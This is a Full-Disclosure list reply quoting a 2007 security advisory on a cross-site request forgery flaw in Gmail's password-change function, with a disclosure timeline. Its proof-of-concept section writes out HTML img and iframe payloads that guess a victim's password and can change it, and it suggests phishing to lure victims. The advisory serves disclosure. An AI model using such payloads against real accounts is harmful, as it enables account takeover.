That is one hell of a timeline. On Tue, Mar 3, 2009 at 5:55 AM, ISecAuditors Security Advisories < [email protected]> wrote:
> ============================================= > INTERNET SECURITY AUDITORS ALERT 2007-003 > - Original release date: August 1st, 2007 > - Last revised: January 11th, 2009 > - Discovered by: Vicente Aguilera Diaz > - Severity: 3/5 > ============================================= > > I. VULNERABILITY > ------------------------- > CSRF vulnerability in GMail service > > II. BACKGROUND > ------------------------- > Gmail is Google's free webmail service. It comes with built-in Google > search technology and over 2,600 megabytes of storage (and growing > every day). You can keep all your important messages, files and > pictures forever, use search to quickly and easily find anything > you're looking for, and make sense of it all with a new way of viewing > messages as part of conversations. > > III. DESCRIPTION > ------------------------- > Cross-Site Request Forgery, also known as one click attack or session > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of > malicious exploit of websites. Although this type of attack has > similarities to cross-site scripting (XSS), cross-site scripting > requires the attacker to inject unauthorized code into a website, > while cross-site request forgery merely transmits unauthorized > commands from a user the website trusts. > > GMail is vulnerable to CSRF attacks in the "Change Password" > functionality. The only token for authenticate the user is a session > cookie, and this cookie is sent automatically by the browser in every > request. > > An attacker can create a page that includes requests to the "Change > password" functionality of GMail and modify the passwords of the users > who, being authenticated, visit the page of the attacker. > > The attack is facilitated since the "Change Password" request can be > realized across the HTTP GET method instead of the POST method that is > realized habitually across the "Change Password" form. > > IV. PROOF OF CONCEPT > ------------------------- > 1. An attacker create a web page "csrf-attack.html" that realize many > HTTP GET requests to the "Change Password" functionality. > > For example, a password cracking of 3 attempts (see "OldPasswd" > parameter): > ... > <img > src=" > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save > "> > <img > src=" > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save > "> > <img > src=" > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save > "> > ... > > or with hidden frames: > ... > <iframe > src=" > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save > "> > <iframe > src=" > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save > "> > <iframe > src=" > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save > "> > ... > > The attacker can use deliberately a weak new password (see "Passwd" > and "PasswdAgain" parameters), this way he can know if the analysed > password is correct without need to modify the password of the victim > user. > > Using weak passwords the "Change Password" response is: > - " The password you gave is incorrect. ", if the analysed password > is not correct. > - " We're sorry, but you've selected an insecure password. In order > to protect the security of your account, please click "Password > Strength" to get tips on choosing to safer password. ", if the > analysed password is correct and the victim password is not modified. > > If the attacker want to modify the password of the victim user, the > waited response message is: " Your new password has been saved - OK ". > > In any case, the attacker evades the restrictions imposed by the > captcha of the authentication form. > > 2. A user authenticated in GMail visit the "csrf-attack.html" page > controlled by the attacker. > > For example, the attacker sends a mail to the victim (a GMail account) > and provokes that the victim visits his page (social engineering). So, > the attacker insures himself that the victim is authenticated. > > 3. The password cracking is executed transparently to the victim. > > V. BUSINESS IMPACT > ------------------------- > - Selective DoS on users of the GMail service (changing user password). > - Possible access to the mail of other GMail users. > > VI. SYSTEMS AFFECTED > ------------------------- > Gmail service. > > VII. SOLUTION > ------------------------- > No solution provided by vendor. > > VIII. REFERENCES > ------------------------- > http://www.gmail.com > > IX. CREDITS > ------------------------- > This vulnerability has been discovered and reported by > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com). > > X. REVISION HISTORY > ------------------------- > July 31, 2007: Initial release > August 1, 2007: Fewer corrections. > December 30, 2008: Last details. > > XI. DISCLOSURE TIMELINE > ------------------------- > July 30, 2007: Vulnerability acquired by > Internet Security Auditors. > August 1, 2007: Initial notification sent to the > Google security team. > August 1, 2007: Google security team request additional > information. > about and start review the vulnerability. > August 13, 2007: Request information about the status. > August 15, 2007: Google security team responds that they are still > working on this. > September 19, 2007: Request for the status. No response. > November 26, 2007: Request for the status. No response. > January 2, 2008: Request for the status. No response. > January 4, 2008: Request for the status. No response. > January 11, 2008: Request for the status. No response. > January 15, 2008: Request for the status. Automated response. > January 18, 2008: Google security team informs that don't expect > behaviour to change in the short term giving > the justification. > We deconstruct those arguments as insufficient. > No more responses. > December 30, 2008: Request for the status. Confirmation from Google > they won't change the consideration about this. > January 11, 2009: Publication to Bugtraq. Rejected twice. > No reasons. > March 03, 2009: General publication for disclosure in other lists. > > XII. LEGAL NOTICES > ------------------------- > The information contained within this advisory is supplied "as-is" > with no warranties or guarantees of fitness of use or otherwise. > Internet Security Auditors accepts no responsibility for any damage > caused by the use or misuse of this information. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ >
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
